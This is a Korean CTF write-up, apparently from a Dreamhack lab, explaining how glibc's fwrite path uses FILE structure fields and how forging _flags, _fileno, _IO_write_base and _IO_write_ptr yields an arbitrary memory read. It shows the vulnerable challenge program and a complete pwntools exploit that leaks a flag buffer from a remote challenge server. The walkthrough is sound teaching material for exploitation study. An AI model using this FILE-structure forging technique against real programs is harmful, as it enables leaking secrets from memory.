개념정리
파일을 읽고 쓰는 과정은 라이브러리 함수 내부에서 파일 구조체의 포인터와 값을 이용한다.
파일 구조체를 조작해 임의의 메모리를 읽는 취약점에 대해 알아볼 것이다.
취약점에 대해 소개하기 전에 파일 쓰기 과정
이 어떤 함수와 로직을 통해 진행되는지 분석해보자.
파일에 데이터를 쓰기 위한 함수는 대표적으로 fwrite
, fputs
가 있다. 해당 함수는 라이브러리 내부에서 _IO_sputn
함수를 호출한다.
○ _IO_XSPUTN
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
...
if (to_do + must_flush > 0)
{
_IO_size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
_IO_XSPUTN
함수의 매크로이며 실질적으로 _IO_new_file_xsputn
함수를 실행한다.
이 함수에서는 인자인 data와 size를 검사하고 _IO_OVERFLOW()
, 즉 _IO_new_file_overflow
함수를 호출한다.
○ _IO_new_file_overflow
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
...
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
}
int
_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
return (to_do == 0
|| (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)
실제로 파일에 내용을 쓰는 과정은 _IO_new_file_overflow()
를 시작으로 다양한 함수가 호출되면서 이뤄진다.
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
...
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
_IO_new_file_overflow
함수에서는 파일 포인터의 _flags
변수에 쓰기 권한이 부여되어 있는지 확인하고 해당 함수의 인자로 전달된 ch
가 EOF == -1이라면 _IO_do_write
함수를 호출한다.
// code in _IO_XSPUTN()
if (_IO_OVERFLOW (f, EOF) == EOF)
_IO_new_file_overflow()
를 호출할 때 인자로 EOF를 전달하므로 _IO_do_write
함수가 호출된다는 것을 알 수 있다.
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
_IO_do_write
함수가 호출될 때 전달되는 인자를 보면 파일 구조체의 멤버 변수임을 알 수 있다.
○ new_do_write
#define _IO_SYSWRITE(FP, DATA, LEN) JUMP2 (__write, FP, DATA, LEN)
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}
_IO_do_write
함수는 내부적으로 new_do_write
함수를 호출한다.
if (fp->_flags & _IO_IS_APPENDING)
new_do_write
함수를 분석하면, 파일을 쓰기에 앞서 파일 포인터의 _flags
와 _IO_IS_APPENDING
플래그가 포함됐는지 확인한다.
count = _IO_SYSWRITE (fp, data, to_do);
다음으로 new_do_write
함수의 인자인 fp
와 data
, 그리고 to_do
를 인자로 _IO_SYSWRITE
함수를 호출하는데, 이는 vtable의 _IO_new_file_write
함수다.
_IO_ssize_t
_IO_new_file_write (_IO_FILE *f, const void *data, _IO_ssize_t n)
{
_IO_ssize_t to_do = n;
while (to_do > 0)
{
_IO_ssize_t count = (__builtin_expect (f->_flags2
& _IO_FLAGS2_NOTCANCEL, 0)
? write_not_cancel (f->_fileno, data, to_do)
: write (f->_fileno, data, to_do));
if (count < 0)
{
f->_flags |= _IO_ERR_SEEN;
break;
}
to_do -= count;
data = (void *) ((char *) data + count);
}
n -= to_do;
if (f->_offset >= 0)
f->_offset += n;
return n;
}
_IO_new_file_write
함수에서는 write
시스템 콜을 사용해 파일에 데이터를 작성한다. 시스템 콜의 인자로 파일 구조체에서 파일 디스크립터를 나타내는 _fileno
, _IO_write_base
인 data
, 그리고 _IO_write_ptr - _IO_write_base
로 연산된 to_do
변수가 전달된다.
즉, 정리하면 다음과 같다.
→ 파일 구조체의 _flags
, _fileno
, _IO_write_ptr
, _IO_write_base
를 조작할 수 있다면, IO Arbitrary Read
로 메모리를 읽을 수 있다.
write(f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base);
write 시스템 콜을 호출할 때, 위와 같이 실행된다.
정상적인 동작이라면, _IO_write_base
를 기점으로 _IO_write_ptr - _IO_write_base
크기만큼 쓰기를 수행한다.
즉, _fileno
를 stdout으로 조작하고 _IO_write_base
에 읽을 주소를 저장 후 _IO_write_ptr
을 “읽을 크기만큼 더한 값”을 저장하면 임의의 주소를 읽을 수 있다.
실습 예제를 통해 확인해보자.
문제분석 & 풀이
파일 구조체를 조작해서 메모리에 저장된 데이터를 읽는 것이 목적이다.
// Name: iofile_aar
// gcc -o iofile_aar iofile_aar.c -no-pie
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char flag_buf[1024];
FILE *fp;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int read_flag() {
FILE *fp;
fp = fopen("/home/iofile_aar/flag", "r");
fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
fclose(fp);
}
int main() {
const char *data = "TEST FILE!";
init();
read_flag();
fp = fopen("/tmp/testfile", "w");
printf("Data: ");
read(0, fp, 300);
fwrite(data, sizeof(char), sizeof(flag_buf), fp);
fclose(fp);
}
fwrite 함수에서 참조하는 파일 구조체를 조작해서 flag_buf에 저장된 flag를 읽는 것이 목표다.
프로그램은 fp에 데이터를 입력하고 저장할 수 있는 구조다.
write(f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base);
개념정리
에서 언급했듯이 _IO_new_file_write
함수에서는 write 시스템 콜로 위와 같은 함수가 실행된다.
즉, 인자로 사용되는 파일 구조체 데이터를 조작해서 flag_buf를 읽을 수 있다.
payload = p64(0xfbad0000 | 0x800)
먼저, _flags
검증을 우회하기위해 _IO_MAGIC
과 _IO_IS_APPENDING
비트를 포함한 값을 입력한다.
payload = p64(0xfbad0000 | 0x800)
payload += p64(0) # _IO_read_ptr
payload += p64(flag_buf) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(flag_buf) # _IO_write_base
payload += p64(flag_buf + 300) # _IO_write_ptr
다음으로 flag_buf를 출력하기 위해 _IO_write_base
와 _IO_write_ptr
을 각각 flag_buf
주소와 flag_buf + 300
주소를 입력한다.
payload = p64(0xfbad0000 | 0x800)
payload += p64(0) # _IO_read_ptr
payload += p64(flag_buf) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(flag_buf) # _IO_write_base
payload += p64(flag_buf + 300) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64(0) # _IO_buf_end
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(1) # _fileno -> stdout
마지막으로 _fileno
를 stdout으로 조작하여 flag_buf를 출력시킨다.
그 외 나머지 변수들은 0x0을 입력해야한다. 왜냐하면 new_do_write
함수에서 lseek 시스템 콜이 호출될 수 있기 때문이다.
exploit
from pwn import *
import warnings
warnings.filterwarnings('ignore')
p = remote('host3.dreamhack.games', 22936)
#p = process("./iofile_aar")
elf = ELF('./iofile_aar')
flag_buf = elf.symbols['flag_buf']
payload = p64(0xfbad0000 | 0x800)
payload += p64(0) # _IO_read_ptr
payload += p64(flag_buf) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(flag_buf) # _IO_write_base
payload += p64(flag_buf + 300) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64(0) # _IO_buf_end
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(1) # stdout
p.sendlineafter(b"Data: ", payload)
p.interactive()